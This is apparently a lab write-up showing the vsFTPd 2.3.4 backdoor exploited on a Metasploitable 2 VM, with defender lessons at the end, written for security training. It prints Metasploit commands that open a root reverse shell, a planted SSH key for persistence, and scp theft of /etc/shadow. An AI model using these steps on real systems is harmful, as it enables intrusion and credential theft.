From Recon to Root: Exploiting the vsFTPd Backdoor on Metasploitable 2

From Recon to Root: Exploiting the vsFTPd Backdoor on Metasploitable 2

A hands-on walkthrough of turning a vulnerability scan into a full system compromise

Yesterday, we left off after mapping the digital battlefield. Our nmap scan against the Metasploitable 2 VM revealed a target rich with opportunities: outdated services, open ports, and plenty of potential entry points. It was time to stop looking and start doing.

The reconnaissance phase is like casing a building — noting the windows, doors, and vents. Today, we pick the easiest-looking door and see just how far inside we can get. Our target: the infamous vsFTPd 2.3.4 backdoor.

Connecting the Dots: From Recon to Exploit

The nmap scan from our previous post flagged the FTP service as a prime candidate:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4

A quick search in ExploitDB or within Metasploit itself confirms our hunch: this version contains a documented backdoor (CVE-2011–2523). It’s a classic case of a malicious “Easter egg” left in the code. The plan is simple: send a specific, unexpected username that triggers the backdoor and forces the server to execute our code.

Phase 1: The Initial Foothold

Armed with this knowledge, we move to the exploitation phase. We fire up the Metasploit Framework, the go-to tool for this job.

The Technical Part (The “How”)

We load the exploit module, set the target, and fire away.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: :){:} # The trigger string
[+] 192.168.56.101:21 - Opened reverse shell on 192.168.56.101:4444
[+] Exploit completed, but no session was created?
msf6 > sessions -l

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
 1 shell cmd/unix FTP 192.168.56.1:4444 -> 192.168.56.101:60264 (192.168.56.101)

msf6 > sessions -i 1
[*] Starting interaction with 1…

id
uid=0(root) gid=0(root)

What Just Happened (The “What”)

The exploit sent the username :){:} to the FTP server. This string activated the hidden backdoor code. Instead of asking for a password, the server initiated a connection back to my machine on a specified port, handing over a remote command shell.

Critically, the vsFTPd service was running as root, so the shell we received also had ultimate, root-level privileges. We're not just in; we're in charge.

Phase 2: Beyond the Exploit — Post-Exploitation

A raw shell is a great start, but it’s unstable and limited. The real work of a penetration test — post-exploitation — begins now. Our goals: stabilize, persist, and explore.

1. Stabilizing the Shell

The initial shell is clunky. Let’s upgrade it to a fully interactive TTY using a Python trick.

python -c 'import pty; pty.spawn("/bin/bash")'
root@metasploitable:/#

Now we have tab-completion and a much more responsive environment.

2. Building a Reliable Backdoor (Persistence)

A reverse shell could die if the FTP service restarts. A professional attacker ensures they can get back in easily. The best method? SSH Key Persistence.

The Technical Part (The “How”)

On My Attacker Machine (Parrot OS): I generate a new SSH keypair.

ssh-keygen -t rsa -b 4096 -f ~/.ssh/metasploit_key # This creates two files: metasploit_key (private) and metasploit_key.pub (public)

On The Target (Metasploitable): I add the public key to the root user’s authorized keys file.

mkdir -p /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC… [rest of public key]" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys

Troubleshooting: The target is an old system using outdated crypto. My modern SSH client refused to connect. The fix was to tell it to be more compatible:

ssh -o HostKeyAlgorithms=+ssh-rsa -i ~/.ssh/metasploit_key root@192.168.56.101

What Just Happened (The “What”)

We’ve given ourselves a permanent, secure, and silent key to the front door. Now, we can bypass the vulnerable FTP service entirely and log in anytime as root via the perfectly legitimate SSH service.

This is a stark reminder that initial exploitation is often just a means to establish a more robust and stealthy access method.

3. Data Exfiltration

With a clean SSH tunnel, stealing data is simple and fast. Using the scp command, I can pull files of interest back to my machine for analysis.

# On my attacker machine
scp -i ~/.ssh/metasploit_key -o HostKeyAlgorithms=+ssh-rsa root@192.168.56.101:/etc/shadow .
scp -i ~/.ssh/metasploit_key -o HostKeyAlgorithms=+ssh-rsa root@192.168.56.101:/etc/passwd .

These files contain user account information and password hashes, which could be cracked offline in a real engagement.

Key Takeaways for Defenders

This exercise highlights critical security lessons that extend far beyond a lab:

1. Patch and Update: The vsFTPd 2.3.4 vulnerability is over a decade old. Unpatched, end-of-life software is low-hanging fruit for attackers.

2. The Principle of Least Privilege: Why was an FTP service running as root? A service running with minimal necessary privileges would have limited the damage of this exploit.

3. Monitor for Persistence: Defenders must monitor key files for unauthorized changes. A new SSH key in /root/.ssh/authorized_keys is a massive red flag.

4. Initial Access is Just the Start: Defense-in-depth is crucial. Stopping the initial exploit is important, but having controls to detect and stop post-exploitation activity (lateral movement, data exfiltration) is what truly protects a network.

This exploit was just one of many on this machine. Next time, we might try a different vector, like the vulnerable distcc or samba service, to show how multiple paths can lead to the same goal: total control.

Disclaimer: This activity was conducted in a controlled lab environment using the intentionally vulnerable Metasploitable 2 virtual machine. Performing these actions on any network without explicit permission is illegal.